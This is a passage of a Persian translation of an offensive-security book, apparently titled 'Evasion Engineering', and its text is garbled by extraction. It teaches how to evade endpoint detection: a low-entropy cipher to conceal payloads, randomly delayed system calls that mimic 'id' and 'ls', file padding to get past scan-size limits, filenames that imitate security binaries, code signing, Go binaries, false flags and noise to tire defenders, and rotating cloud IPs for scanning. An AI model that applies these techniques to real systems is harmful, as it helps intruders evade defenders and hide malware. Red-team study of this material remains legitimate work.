 ASCII کاراکترهای با اسممممکریپت یک در مثال، برای. زندمی دور  را اسممممتراحت  حال  در و انتقال حال  در اسممممکنرهای

  تبدیل   برای کلید  یک با سماده  خطی  تابع یک  سمپس کنید،  نگاشمت فزاینده  صمحیح  اعداد  به را کاراکتر هر  توانیدمی  اسمتاندارد،

 .کنید اعمال رمز متن به ساده متن
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 اسمممممممممممت  آممممممممده  مممممممما  کمممممممد  از  کمممممممارآممممممممد  ممممممممثمممممممال  یمممممممک  ایمممممممنمممممممجممممممما  در

(https://github.com/dc401/mixed_scripts/blob/master/chowencryption.py  .)تمابع  از  کمدهماقطعمه 

 :کنندمی استفاده رمزنگاری فرایند برای 3x + k ساده

def chowencrypt(cleartext, key): 

 #Data dictionary of common text and CLI chars 

encodeddict   { =  

′a′ : 1, ′b′ : 2, ′c′ : 3, ′d′ : 4, 

′e′ : 5, ′f′ : 6, ′g′ : 7, ′h′ : 8, 

′i′ : 9, ′j′ : 10, ′k′ : 11, ′l′ : 12, 

--snip-- 

 #Use encryption algo to convert encoded data to cipher text. 

 #Weak algo: 3x + key for demo purposes. 

cipherstream   ][ =  

 #Prepend the initialization vector unencrypted first to later combine with the key. 

cipherstream.append(iv) 

 #Our new key is the composite addition of IV + key. 

compositekey = iv + int(key) 

for i in encodedbuffer: 

encryptedbyte = (3 * i) + int(compositekey) 

cipherstream.append(encryptedbyte) 

print(′encrypted string: ′ + str(cipherstream)) 

--snip-- 

A low-entropy cipher 

  هنگام   را ،LOLBin هایفرمان مانند هاییرشمته جمله  از  نشمانگرها، هنوز  پایین  نسمبتا   آنتروپی  با ضمعیف رمزنگاری سماختن

 شمده داده نشمان  2-2  فهرسمت  در که طورهمان 3 / (x – k)  معکوس  تابع یک  از  اسمتفاده با اگر. کندمی  پنهان بار اسمتراحت

 .شد نخواهد داده  نمایش ساده متن صورتبه هرگز بار کنید،  رمزگشایی است
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--snip-- 

 #We need to read the ′cleartext′ IV in the first element of the list. 

 #The IV will combine with the user-specified key to decrypt the stream appropriately. 

readiv = encodedbuffer [0]  

compositekey = int(readiv) + int(key) 

for i in encodedbuffer: 

decryptedsignal.append(int((i - int(compositekey)) / 3)) 

print(′decrypted signal: ′ + str(decryptedsignal)) 

 #Return the decrypted codes to the original ASCII equiv 

decryptedtext   ][ =  

for i in decryptedsignal: 

 #Remember encodeddict is a dictionary using key value pairs 

 #Must access via .items method for value to key 

for k,v in encodeddict.items:)( 

if v == i: 

decryptedtext.append(k) 

print(′decrypted string as list: ′ + str(decryptedtext)) 

 #Convert the list decryptedtext into original string form 

decryptedtextstring   ′′ =  

for i in decryptedtext: 

decryptedtextstring = decryptedtextstring + str(i) 

print(′decrypted string original: ′ + str(decryptedtextstring)) 

return decryptedtextstring 

--snip-- 

 آنتروپی کم رمز یک برای رمزگشایی روال یک: 2-2 فهرست
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 الگو این و  کنندمی  اجرا  را تکرارها  نهایت در( DFIR)  حادثه به پاسممخ و  دیجیتال قانونی  پزشممکی  تحلیلگران وقت،  کمی با

 .ماندمی باقی بعید مطلب این نوشتن زمان در خودکار  تشخیص اما کنند،می کشف را

 هگزادسیمال،  به  اول  تبدیل با  باینری  هایداده  برای  را  آن  راحتیبه توانیدمی کند،می  استفاده  ASCII  از  2-2  فهرست  اگرچه

 این.  دهید  تطبیق  اسمت شمده داده  نشمان 3-2 فهرسمت  در که طورهمان  آنتروپی،کم رمز یک با هگز جریان  رمزنگاری سمپس

 دقیقا    اسمت، هاآن  به جدید  آفسمت  صمحیح  اعداد  اختصماص با هگز  کاراکترهای  برای مقدار-کلید داده  پایگاه یک ایجاد  نیازمند

 (.A–F ،9–0) استاندارد الفبای یک  مانند

 

 #Extending values from 0x00 to 0xff 

hex_dict = {hex(i)[2:].zfill(2): i + 500 for i in range (256) } 

 #New dictionary kv pairs 

encoded_dict   { =  

... #existing character mappings 

′a′: 1, ′b′: 2, 

  # etc... 

 #Hex mappings (will map 00-ff to values starting at 500) 

′00 :′500′ ,01 :′501′ ,02 :′502,  

  # etc... 

′ff′: 755 

} 

--snip-- 

 باینری آنتروپیکم رمزنگاری برای هگز پشتیبانی کردن اضافه: 3-2 فهرست

  پشتیبانی  هگز به  شدهرمزگذاری  باینری  ورودی از  که کرد خواهید  ترکیب کارآمد  کاملا    اسکریپت یک در  را چیز همه حالا

  نمایش  به موجود  ابزارهای و هاpipe  از  خطییک مجموعه یک  از  اسممتفاده با  را  باینری هر توانیدمی ،Linux در. کندمی

 .است شده داده نشان 4-2 فهرست در که طورهمان  کنید،  تنظیم هگز

xxd -p 

/path/to/bin 

 |tr -d ′\n′ | python3 main.py 

 هگز جریان به باینری تبدیل: 4-2 فهرست
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 یک به( stdin) اسمممتاندارد ورودی  از  اسمممتفاده با  را  آن جدید، خط کاراکترهای  حذف با هگز رشمممته سمممازینرمال از پس

 خروجی به  نمایشممی  اهداف  برای اسممت، شممده داده نشممان  5-2 فهرسممت در که  اسممکریپت،  این.  کنیدمی pipe  اسممکریپت

 .دهید  تغییر فایل یک به مسیر تغییر برای را آن راحتیبه توانیدمی اما کند،می چاپ( stdout) استاندارد

/!#usr/bin/env python3 

import sys 

from random import randint 

def hex_encrypt(hex_input, key=10): 

 #Convert hex string to integers. 

hex_bytes = [int(hex_input[i:i+2], 16) for i in range(0, len(hex_input), 2) 

if len(hex_input[i:i+2]) == 2] 

iv = randint (311 ,457)  

composite_key = iv + int(key) 

cipher = [iv] 

for byte in hex_bytes: 

encrypted = (3 * byte) + composite_key 

cipher.append(encrypted) 

return cipher 

def hex_decrypt(cipher_list, key=10): 

iv = cipher_list [0]  

composite_key = iv + int(key) 

decrypted  ][ =  

for value in cipher_list [1:]:  

original = int((value - composite_key) / 3) 

decrypted.append(original) 

return ′′.join([format(b, ′02x′) for b in decrypted]) 

if __name__ == ′__main:′__ 

 #Read from stdin. 
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hex_input = sys.stdin.read().strip)( 

 #Encrypt 

encrypted = hex_encrypt(hex_input) 

print(f″Encrypted: {encrypted}″) 

 #Decrypt 

decrypted = hex_decrypt(encrypted) 

print(f″Decrypted hex: {decrypted}″) 

 هگز به شدهدادهنمایش باینری رمزگشایی و رمزنگاری: 5-2 فهرست

 یک در  را نتیجه  و کند،می  رمزنگاری  شما  آنتروپیکم  رمز  از استفاده با  را  آن گیرد،می  را شما هگز  ورودی  اسکریپت  این

 .شوند اجرا نیاز صورت در و رمزگشایی توانندمی بعدا   که دهدمی قرار عناصری از فهرست

 در  که طورهمان  کنید، آزمایش stdin به هگز  به شمدهرمزگذاری  داده  کردن  پایپ  با  باری هر با  را  اسمکریپت  این  توانیدمی

 .باینری داده فقط نه کند،می کار هگز به شدهدادهنمایش رشته هر با این است؛ شده داده نشان 6-2 فهرست

echo ″Hello World″ | xxd -p - | tr -d ′\n′ | python3 main.py 

Encrypted [ :441 ,667 ,754 ,775 ,775 ,784 ,547 ,712 ,784 ,793 ,775 ,751 ,481]  

Decrypted hex: 48656c6c6f20576f726c640a 

 Linux در هگز رمزنگاری لوله خط طریق از stdin پردازش: 6-2 فهرست

 یا سمممیم روی( DLP)  داده  دادن دسمممت  از از جلوگیری  از  فرار شمممامل  آنتروپیکم هایباینری برای اسمممتفاده موارد برخی

 .است EDR هایاسکن طول در دیسک روی یا حافظه در هافایل با بارها اجرای

 پرخطر  هایبسته  و   هاباینری از  اجتناب
 و ،LOLBins، GTFOBins  از که  است  خوبی  ایده عموما    ندارد،  نیاز سفارشی کاملا   هایپوسته به کمپین هر که  حالی  در

  ویژه به که—بدنام هایمثال  برخی.  کنید  اجتناب شمموندمی hook یا  پایش  نشممانگر بازرسممی برای که  کد  هایکتابخانه برخی

 هایپوسممته ؛PowerShell و  ،rundll.exe،  cmd.exe  مانند Windows ابزارهای—هسممتند پذیرآسممیب  ترکیب هنگام

Linux مانند  bashزیرفرایندهای که  شمدهشمناخته  فرمان خط پوسمته  یک  ایجاد. هسمتند  رمزنگاری و شمبکه  هایماژول و  ؛ 

 .کندمی فعال را هاEDR بیشتر دارد زیادی

  شمده بندیزمان درسمتیبه و  دارفاصمله  سمیسمتمی  هایفراخوان از  بگیرید نظر  در هشمدار، یک کردن  فعال  شمانس کاهش برای

  فهرسمت . کنید  اسمتفاده شمد  بح  تازه  که  آنتروپیکم  شمدهرمزنگاری بار با همراه  کنند،می  تقلید  را  معمول  اجرای  الگوهای که

 .دهدمی نشان را پوسته یک اندازیراه بدون رایج  توابع تقلید برای  مفهوم اثبات یک 2-7

/!#usr/bin/env python3 

import os 
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import time 

import random 

import pwd 

import grp 

def get_user_info:)( 

 #Get current process user info (equivalent of ′id′ command) 

uid = os.getuid)( 

gid = os.getgid)( 

user = pwd.getpwuid(uid).pw_name 

groups = [g.gr_name for g in grp.getgrall() if user in g.gr_mem] 

primary_group = grp.getgrgid(gid).gr_name 

return f″uid={uid}({user}) gid={gid}({primary_group}) groups={′,′.join(groups)}″ 

def enum_directory:)( 

try: 

with os.scandir(″/home″) as entries: 

for entry in entries: 

print(entry.name) 

 #Add small random delay between each entry to avoid pattern 

time.sleep(random.uniform(0.1, 0.3)) 

except PermissionError: 

pass 

 #Run once with delay between operations. 

enum_directory)( 

 #Single random delay between 5 and 7 minutes 

delay = random.uniform (300  ,420)  

time.sleep(delay) 
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 #Get user info once. 

user_info = get_user_info)( 

print(user_info) 

 id و ls هایمعادل برای Linux بر مبتنی سیستمی هایفراخوان از استفاده: 7-2 فهرست

 

 .است id فرمان و home/ روی ls فرمان اجرای معادل  اسکریپت این

 دید، خواهید  خود شمدهمشمخص  تصمادفی  تأخیر توسمط شمده  جدا خط  دو در  را خروجی بار،  عنوانبه  اسمکریپت  اجرای هنگام

 .است شده داده نشان 8-2 فهرست در که طورهمان

runner 

uid=1000(runner) gid=1000(runner) groups= 

 EDR تشخیص از فرار برای repl.it کانتینرهای در تصادفی تأخیرهای با هافرمان اجرای: 8-2 فهرست

 خطر  و  کنمدمی  کممک  شمممممونمدمی  ردیمابی  EDR  یمک  توسمممممط  کمه  LOLBin  پمایمه  همایفراخوانی  از  اجتنماب  بمه  رویکرد  این

 .دهدمی کاهش را بندیزمان بر  مبتنی  همبستگی  نشانگرهای

 گذارینام قراردادهای از پیروی
 کاهش روش چندین به  را خطر  نیسمممت،  ابزار توسمممعه خاص بار  عناصمممر و هافایل  به  ضمممرربی هاینام  دادن  که حالی  در

 تعامل به اینکه مگر. کنندمی حذف اسمکن از را  خاصمی فایل پسموندهای  امنیتی  ابزارهای برخی  سمیاسمت،  به  بسمته.  دهدمی

  باینری   مانند  رفتار یا اسمکن احتمال  کمتر که  کنید اسمتفاده  پسموندهایی از باید  کنید، تکیه خود بار تعاملی  اجرای برای قربانی

 .tmp. مانند دارند،

 فایل یک گذارینام مثال،  برای  ،Windows  در.  شممماسممت گذارینام  در  مشممروع سممیسممتمی  هایفایل تقلید  دیگر رویکرد

lsaio.exe  مرجع فرایند که  یکی—اسمت  امنیت با  مرتبط  مشمروع  باینری یک  شمبیه  چون  کندمی  کمک  آن  شمدن  مخلوط  به 

 .نیست فعال همیشه فرضپیش طوربه که—کندمی جداسازی کاربر حالت در را Windows محلی  امنیت

 ها فایل پرکردن
  ممکن   حد  تا  اولیه برداریبهره  هایتکنیک  در  حافظمه هایمحمدودیت  دلیملبه را بارها  کننمدگانتسمممممت و  محققمان گذشمممممتمه،  در

 مدرن شممبکه  هایدسممتگاه و  پایانی نقاط. اسممت گذشممته عمدتا    MS17-010 و  MS08-067 روزهای. سمماختندمی  کوچک

 برخی چون نیسممممت، بدی ایده 20MB تا  10MB به شممممما بار پرکردن  واقع،  در.  دارند  بیشممممتری  بسممممیار عملیاتی  حافظه

 به بارها  بارگذاری برای  را این  و—کنندمی رد  اسممکن از  را خاصممی  اندازه هایآسممتانه بالای  هایفایل  EDR  هایسممیاسممت

 .کندمی مؤثر دیسک روی نوشتن یا حافظه

  مؤثر  طوربه  شمدهکامپایل هایزبان  در  ایسمتا  هایآرایه.  کنیممی توصمیه را  پرکردن  ما اسمت،  1MB زیر اجرایی بار یک اگر

  داده  نشمان  9-2  فهرسمت  در که طورهمان  کنند،می  اضمافه  باینری یک data.  بخش  به را  نشمدهاسمتفاده اما  مشمروع پرکردن

 .است شده
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#include <stdio.h> 

// Create array for 1MB. 

char padding[1024 * 1024 [{ = ]0 (...1024  *1024 - 1 = ])1;}  

int main{ )( 

// Use the array so compiler does not optimize. 

printf(″Padding starts with: %d\n″, padding[0]); 

return 0; 

} 

/~workspace$ gcc main.c -o main.o 

/~workspace$ ls -lah main.o 

-rwxr-xr-x 1 runner runner 1.1M Jun 18 03:43 main.o 

/~workspace$ 

 C در کامپایل زمان  در داده 1MB کردن اضافه: 9-2 فهرست

 یا شممبکه انتقال حین در  عملی بازرسممی هایمحدودیت  از دارید نیاز که کندمی کار  زمانی  فایل  گذاریاندازه اسممتراتژی  این

  مرحله طول در  که خود  هدف  هایقابلیت و  هاسمممیاسمممت اسممماس بر  را پرکردن  اندازه. بروید فراتر دیسمممک روی  نوشمممتن

 .کنید  تعیین کردید شناسایی خود  کمپین  شناسایی

 کد  امضای کردن اضافه
. اسمممت  تشمممخیص  خطر  کاهش و  شمممدن مخلوط برای مؤثر راه یک  همچنین شمممود، سمممازیپیاده دقت با وقتی کد،  امضمممای

EDRموتورهای برخی و مدرن  های IPS  باشمممند تطابق عدم دنبال به تا کنندمی مقایسمممه هافایل نام با را گواهی اطلاعات .

 ابزارهای—کنیمنمی توصمممیه را این ما اما کنند،می اسمممتفاده خودامضممما یا شمممدهدزدیده هایگواهی  از قرمز هایتیم برخی

 .کنندمی تحلیل هاهش و ها،فایل نام ها،تاریخ در هاناهنجاری برای را گواهی فراداده مدرن  تشخیص

  آمریکما  دلار  500 حدود  از  Thawte  یا ،DigiCert، Verisign  ماننمد  اعتمماد مورد  فروشمممممنمدگان  از کد امضمممممای گواهی

  ابزارهای. اسممت ابری یا  افزاریسممخت  USB  پشممتیبان(  HSM) افزاریسممخت  امنیت  هایماژول  نیازمند و شممودمی  شممروع

 از  10-2  فهرسمممت.  دارند نیاز  مناسمممب  توسمممعه  محیط هایکتابخانه به اما  هسمممتند  متفاوت عاملسمممیسمممتم اسممماس بر امضممما

signtool.exe گواهی یک با DigiCert باینری یک امضای برای Windows کندمی استفاده. 

signtool.exe sign /csp ″DigiCert Signing Manager KSP″ /kc key1 /f example.crt /tr 

http://timestamp.digicert.com /td SHA256 /fd SHA256 signthis.util.exe 

 Windows هایباینری امضای برای DigiCert از  استفاده: 10-2 فهرست
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 طول  در هدف هایمیزبان  در امضما  از. کندمی پیدا دسمترسمی گواهی  اعتبارسمنجی برای  زمان سمرور یک به  امضما فرایند

 اجازه بنابراین  بگیرند،  نظر  در  را دامنه  ثبت تاریخ و گواهی سممن اسممت  ممکن  تشممخیص  هایسممیسممتم. کنید  اجتناب  هاکمپین

 .کندمی کمک شدهریزیبرنامه خوب هایکمپین به سال یک تا هاماه برای «پختن» برای هاگواهی به دادن

 معماری   و  زبان  تغییر 
 شمانس  باشمد،  داشمته وجود بیشمتری مسمتندشمده  منابع هرچه.  بود خواهد موش و گربه بازی  یک  همیشمه  فراری بارهای توسمعه

 زبان یک به  تغییر با را خطر  این  توانیدمی.  دهند  تشمممخیص  را  شمممما هایفعالیت محتوا و ابزارها  که  دارد وجود  بیشمممتری

 دو هر  برای بالغ قانونی پزشمکی و  معکوس مهندسمی  ابزارهای مثال، برای.  دهید  کاهش  محبوب  کمتر  کامپایلر و کدنویسمی

C و Delphi  شمودنمی  توصمیه زبانی هایخانواده  آن  در ابزارسمازی بنابراین اند،یافته  توسمعه .Go، زبان یک حال،  این با 

 شمدهکامپایل یا تفسمیری حالت در تواندمی و اند،داشمته آن تحلیل  ابزارهای  ایجاد برای کمتری زمان  مدافعان که اسمت جدیدتر

 پشتیبانی Go تحلیل از Mandiant شرکت GoReSym و( هاافزونه با) Ghidra مانند ابزارهایی که  حالی  در. کند  عمل

 تحلیل که  اصممملی هایتفاوت از برخی. هسمممتند بالغ دیگر  هایزبان تحلیل هایقابلیت از  کمتر  معمولا    هاقابلیت  این  کنند،می

Go مدیریت   نحوه و  کامپایل، هنگام خودکفا  اجرای زمان  شمده،تقسمیم پشمته  مدیریت از  آن اسمتفاده  کندمی فردترمنحصمربه  را  

 .است رشته ساختارهای

  بدافزارهای برخی  دلیل همین به کند،  کمک تحلیل به تواندمی که اسمممت  غنی  فراداده حاوی  Go  قانونی، پزشمممکی  دیدگاه  از

 هر  حال،  این با. کنندمی استفاده  معکوس مهندسی مصنوعات کاهش  برای C خانواده  هایزبان  از هنوز ملت-دولت بلندمدت

 ایسممتا  ویژگی تحلیل طول  در  توانندمی( اندشممده  حذف  نمادها تمام که  هاییآن)  شممدهstrip هایباینری. اسممت  متفاوت  کمپین

 .برسند نظر به  ترمشکوک حتی

 

 Go و C باینری رشته سازیذخیره هایروش مقایسه: 1-2 شکل
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 به که اسممت  ایفراداده  حاوی Go  باینری  که حالی  در  کند،می ذخیره null با یافتهخاتمه  بایت یک با را  هارشممته C  باینری

 هایقابلیت در بومی پشمتیبانی بدون ابزارهای کند،می فراهم  اضمافی  فراداده Go  اگرچه.  دهدمی ارجاع رشمته  گرهایاشماره

  کنترل   جریان و  ایسمتا تابع تحلیل ایسمتا،  ویژگی تحلیل  از فراتر. بود  خواهند محدود  هاباینری  این تجزیه  هنگام  خود  تشمخیص

 .است  متفاوت بسیار زبان دو  بین نیز

 را  هدف  محتمل معماری که اسمت  مهم  کنند،می  پیشمرفت  خود ابری شمدهفعال  هایهمبسمتگی  کمک با  هاEDR که طورهمان

 ،Apple Silica ARM-64، IoT general ARM-64  از ایمشمده روبرو  هاآن با که  هاییمحیط  بیشمتر.  بگیرید نظر در نیز

  کمتری   هشممدارهای  دارند  تمایل  بیتی  64  شممدهکامپایل هایباینری که دریافتیم همچنین  ما. کنندمی اسممتفاده  Intel x86-64 و

 هایباینری به بالاتری خطر امتیاز هاEDR که  باشمد دلیل  این به  اسمت  ممکن  این.  کنند  فعال خود  بیتی  32  همتایان  به  نسمبت

  تحویل  هنگام گسترده  سازگاری  برای بیتی  32  از  گذشته  در  بدافزار  نویسندگان  اینکه اساس  بر  دهند،می  اختصاص  بیتی  32

 .کردندمی  استفاده مقیاس در بارها

 فرار  هایتکنیک سایر
 در  سمممعی که تحلیلگرانی برای  پیچیدگی مانع کنید، اعمال  اجرا زمان و توسمممعه بین  بیشمممتری  فرار هایلایه  هرچه عموما ،

  میانگین   نسمممبت کنید، دنبال را  هاتکنیک کدام اینکه  انتخاب هنگام. رودمی  بالاتر  دارند قانونی  پزشمممکی  نشمممانگرهای تریاژ

  کنید   فرار  تکنیک یک توسمعه  صمرف  هاسماعت  خواهیدنمی. کنید  تعیین را  خود توسمعه زمان کل  به  تشمخیص تا محتمل زمان

 .اندازدمی تأخیر به دقیقه چند را تشخیص فقط که

 ذکرشمده تکنیک هر که حالی در. کنندمی اسمتفاده دفاع در آبی هایتیم که  اسمت  اسمتراتژیی  همان  فرار هایلایه کردن  اضمافه

 C بر مبتنی غیر کدنویسمممی هایزبان از کنید، دوری LOLBins از کنیممی توصمممیه حداقل ما نیسمممت، لازم  فصمممل این  در
 که بگیرید، نظر در را  هدف سمازمان  هر  فردمنحصمربه  مهارت سمطح. کنید  تصمادفی  را بندیزمان تأخیرهای و  کنید، اسمتفاده

 .کنید استنباط آن  امنیتی  تیم عمومی هایمشارکت یا هاپست از  توانیدمی  معمولا  

 نهایی   کاربر رفتار  تقلید
 از  IT هایتیم  یا نهایی کاربران اسمممتفاده  نحوه تکرار  شمممامل اسمممت  ممکن  هدف  محیط تقلید  ابزار، و  بار توسمممعه طول  در

 ترافیک از  فراتر  مشممروع بلندمدت برنامه یک که کنید اضممافه هاییزیرروال دهد،  اجازه زمان اگر. باشممد  هدف  هایدارایی

  resolver DNS کش  بالای  هایدامنه به  ابتدا را وب  وگذارگشممممت ترافیک مثال، برای.  دهدمی  انجام  C2  ایمپلنت  معمول

 خواندن  برای پایه API عملیات  اجرا،  زمان  یا  اسمممکن طول  در.  کنید معرفی beacon  فعالیت شمممروع  از قبل  پایانی نقطه

  خطر  امتیاز  توانندمی همچنین رشته، دستکاری یا پایه  محاسبات  مانند  ضرربی  توابع  هایفراخوانی و سیستم، زمان و تاریخ

EDR دهند قرار تأثیر تحت را. 

 همزمان  عملیات با  مدافعان کردن   منحرف
 از بخشمی  عنوانبه SOC  هشمدار خسمتگی و حجم بر  مبتنی  نویز  از  بگیرید نظر در  نیسمت،  ابزار  خاص  تکنیک  یک  اگرچه

 و ارزشممند وقت  مصمرف برای  را  «بسموزانید» راحتید که  نشمانگرهایی و بارها. کنید اسمتفاده خود  کمپین  اجرای  اسمتراتژی

 در  آنچه که  کنیدمی  اندازیراه هاییبرداریبهره و حملات وقتی هاSOC از  بسممممیاری.  کنید مسممممتقر مدافعان ذهنی  انرژی

  تواند می شمما  اصملی  کمپین میان،  این در. شموندمی  متمرکز  نشمانگر  مجموعه  یک روی  شمدتبه  کنند،می تقلید را  اسمت اخبار

 .یابد ادامه چندانی توجه جلب بدون  متفاوت کاملا   هایTTP از استفاده با
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 گمراهی  برای جعلی  هایپرچم از استفاده
 و نشممممانگرها دادن نسممممبت با تهدید اطلاعات کردن گمراه برای همزمان عملیات با جعلی هایپرچم  از قرمز هایتیم برخی

TTPای،لایه  فرار  اسممتراتژی  یک  از بخشممی  عنوانبه.  کنندمی اسممتفاده شممدهشممناخته تهدید  گروه یک به  فردمنحصممربه  های 

 کار  بهترین. بدهند عملیات  بندیجمع برای  بیشمممممتری  زمان  شمممممما تیم به و  کننمد  طولانی  را تحلیمل  تواننمدمی  جعلی هایپرچم

 .شد خواهند تحلیل فعال طوربه بالغ مدافعان توسط دانیدمی چون است، سوختن قابل بارهای در جعلی هایپرچم  تزریق

 امنیتی ابزارهای یا فروشمممممندگان شمممممبیه که  ایرشمممممته هایکلیدواژه در  جعلی هایپرچم اسمممممت ممکن  ترتجربهکم  مدافعان

. دهند  نسمبت نفوذ  تسمت و  پذیریآسمیب اسمکن  مانند روتین  امنیتی عملیات به  را  هاآن و  بگیرند، نادیده را هسمتند  شمدهشمناخته

 اسمت  ممکن  گوید،می Rapid7 یا Qualys  مثلا    که  کندمی بررسمی  را واحد  نشمانگر یک که  هشمدار  از خسمته  تحلیلگر یک

 .بگیرد نادیده را نامرتبط هایآدرس به رفتن ترافیک

 خلاصه 
 درک.  دادیم  پوشمش  را  اجرا زمان و  ابزار  توسمعه  طول در  فرار اسمتراتژی یک سماختن برای  تکنیک چندین  فصمل، این  در

  توجیه   را بیشممممتری توسممممعه زمان  فرارها  کدام  کنید  بندیاولویت کندمی  کمک شممممما  به مدافعان  معمول  منابع هایمحدودیت

  توسمط  موفق  هایروال  همبسمتگی شمانس  توانندمی تأخیرها و عملی بندیزمان  سمازیتصمادفی چگونه که گرفتید یاد.  کنندمی

 از تواندمی سممممفارشممممی رمزنگاری  از اسممممتفاده با  ترآنتروپیکم سممممازیمبهم چگونه  همچنین و  دهند،  کاهش  را مدافع یک

  قراردادهمای از  پیروی  جملمه  از—تکنیمک چنمدین بنمدیلایمه  مزایمای  نهمایمت، در. کنمد  فرار  نماهنجماری بر  مبتنی  همایتشمممممخیص

 تشممخیص قابل عمدا    هایTTP  از  اسممتراتژیک اسممتفاده و کد،  امضممای کردن  اضممافه  ها،فایل  مناسممب  گذاریاندازه  گذاری،نام

 .کردیم بح  جامع فرار استراتژی یک از بخشی عنوانبه را—دفاعی تیم  تمرکز  تغییر برای

  



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
46 

 

 فرار  ابزار   عملی توسعه  دوم بخش
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 ترافیک  مسیر تغییر  با  شمارش 3
 

 جنبه  یک و هسممتند،  متمرکز  هاایمپلنت خروجی  beaconing ترافیک بر  صممرفا   مسممیر  تغییر درباره  هابح   از بسممیاری

 و  شمناسمایی  را  شمما  منبع  IP  آدرس مدافعان  که  هنگامی.  کنیم شممارش بیرون از  را  اهداف چگونه:  گیرندمی نادیده را حیاتی

 بار هر عملیاتی زیرساخت یک دستی  اندازیراه  حال،  این با. یابد  تطبیق  پویا  صورتبه باید شما  زیرساخت کنند،می مسدود

  چگونه   داد خواهیم نشان شما به  فصل، این  در. است ناکارآمد و خطا مستعد چون  نیست،  آلایده  قرمزی  تیم  عضو  هیچ برای

 در  خارجی شممناسممایی  انجام  برای—CloudFormation و ،AWS Lambda،  Tailscale  جمله  از—ابری  خدمات  از

 .کنید استفاده خود عملیاتی محیط بر کنترل از بالایی سطح حفظ و تشخیص از فرار حین

 فیدهای  از  ترکیبی از  اسمتفاده  با  سمریع مسمدودسمازی هایقابلیت  هدف سمازمان  که ایمشمده روبرو  هاموقعیت از بسمیاری با ما

 نادیده را هااسمممکن  از  اینترنت نویز عمدتا   هاSOC از بسمممیاری اگرچه.  دارد خودش هایخودکارسمممازی و تهدید اطلاعات

 با حتی.  دهد  قرار  تشمخیص معرض در  را  شمما و  اسمت، لازم  سمنگین  شممارش  که  باشمید  موقعیتی  در  اسمت ممکن  گیرند،می

  میزبان  یا  IP اسمتاندارد  سمیاه لیسمت و ،IPS،  WAF  مانند  هاییدفاع دهید، انجام  کافی برداریبهره  هایتلاش  اگر  سمازی،مبهم

 جدید  IP  یک به سممریع انتقال و خود منبع IP آدرس ریختن  دور  توانایی  دارید  نیاز  موارد این  در آنچه.  کرد خواهید فعال  را

 .کرد خواهید اندازیراه قابلیت آن سازیپیاده برای چارچوب یک بخش، این در. است

 فنی الزامات
 :دارید نیاز زیر موارد به آزمایشگاه، این  تکمیل برای

 us-east-1 منطقه به IAM و  کنسول مدیر دسترسی با AWS حساب یک •

 رایگان Tailscale حساب یک •

 محلی  میزبان پایانی نقطه  یک روی مدیر حقوق •

 در  ،Tailscale  بمممرای.  بمممرویمممد  https://aws.amazon.com  بمممه  ،AWS  حسممممممماب  یمممک  انمممدازیراه  بمممرای

https://tailscale.com کنید دنبال را کلاینت نصب و دانلود هایدستورالعمل  سپس و کنید  نامثبت. 
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 استقرار  معماری
 صمممممورتبمه  را  منبع  IP  همایمحمدوده  دهمدمی  اجمازه  شممممممما  بمه  کمه  کرد  خواهیمد  شمممممروع  عملکردی  طراحی  یمک  بما  شممممممما

 چند  هر  که دهید توسعه ساده  وب اسکنر یک و  کنید،  مسمیریابی زیرسماخت  طریق  از  را ترافیک دهید،  تغییر  صمرفهبهمقرون

 نشمممان  1-3 شمممکل که طورهمان. هسمممتند  این برای  عالی اسمممتفاده مورد  یک  هاCSP.  دهد  تغییر نیز  را  منابع بار  یک وقت

  مدیریت  سممربار و هاهزینه رسمماندن  حداقل  به برای سممرور بدون معماری و  سممنتی  محاسممبات از  ترکیبی  از  شممما  دهد،می

 .کرد خواهید استفاده

 39  ترافیک مسیر  تغییر با شمارش

 

 شما  شمارش زیرساخت برای AWS طراحی : 1-3 شکل

  یک   آمیزموفقیت  شمممارش  به  کمک برای  را  منبع IP  تغییر و سممریع اسممتقرار که  داد خواهید توسممعه فشممرده  حلراه دو شممما

 که AWS EC2  نمونه  یک با زیرشمبکه و  اختصماصمی مجازی  خصموصمی  ابر  یک  از  یکی. سمازندمی ممکن  مقیاس در  هدف

 دوره  از فراتر شمما AWS حسماب اگر. بردمی  بهره رایگان  تقریبا    منابع  از و  کند،می اسمتفاده کندمی عمل  پروکسمی  عنوانبه

 با جلو به رو پروکسممی  تونل یک عنوانبه نمونه این.  شممد خواهد متحمل اجرا  زمان هزینه  شممما نمونه باشممد، رایگان سممطح

 .کرد خواهد عمل خروجی گره یک عنوانبه Tailscale دیمن اجرای

 که  حالی در.  کرد خواهید اسممممتفاده  خود ابری زیرسمممماخت  همپوشممممانی  در  جداگانه طوربه Tailscale از همچنین شممممما

Tailscale   تونل مسمیریابی برای را آن توانیدمی اسمت،  خصموصمی هایمیزبان برای  صمفر اعتماد  لبه  سمرویس یک عمدتا 

 با Tailscale کردن جفت.  کنید  پیکربندی agent هویت  احراز کلیدهای از اسمتفاده با  شمدهتعیین  خروجی  گره یک به کامل

 از  اسممممتفاده  مزیت. کندمی  فراهم را شممممبکه انتقال نیازهای سممممایر و سممممنگین  اسممممکن امکان AWS  جلو به رو پروکسممممی

Tailscale  بما  AWS  آدرس  اسمممممتخرهمای  تغییر  در  پمذیریانعطماف  IP AWS  و  ابزارهما  مجمدد  اسمممممتقرار  بمه  نیماز  بمدون 

 برای  جدید  IPv4  هایآدرس خودکار طوربه عمومی زیرشمبکه  در شمما EC2  نمونه.  اسمت EC2  نمونه یک در  هاپیکربندی
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 دور  راه  هایپوسمته به دسمترسمی برای  را AWS Systems Manager عامل همچنین و کرد خواهد  دریافت  شمبکه رابط

 .شد خواهد شامل هاپورت کردن باز بدون

  اجرای زمان  از  اسمممتفاده با AWS Lambda  تابع یک شمممما ،(داد خواهیم پوشمممش ابتدا که حلیراه و) دیگر  حلراه برای

Python 3.x گزارش یک در  را  محتوا و گیرد،می  را هدر کند،می اسممکن را  خاصممی هایپورت که کرد خواهید  مسممتقر 

AWS CloudWatch قالب  در JSON  کندمی دانلود .AWS Lambda سمماعت  111 تا و ماه  در فراخوانی میلیون 1 تا 

  خصممموصمممی ابر  در  AWS Lambda  اجرای ما، تجربه در.  دهدمی  اجازه رایگان  صمممورتبه را ماهانه  محاسمممبه زمان

. دهدمی  تغییر  GCP  شمرکت Cloud Functions  سمرویس  از  مکررتر  را IPv4  منابع  آن،  سمرویس  شمدهمدیریت مجازی

  cold-boot تمابع  همایفراخوانی طول در  معمولا   چرخمد،می زممانی  چمه IP  کمه  کنیمد  کنترل  مسمممممتقیمما    توانیمدنمی  کمه  حمالی در

 .دهدمی رخ کنندمی ایجاد اندبک در جدید  کانتینر یک که

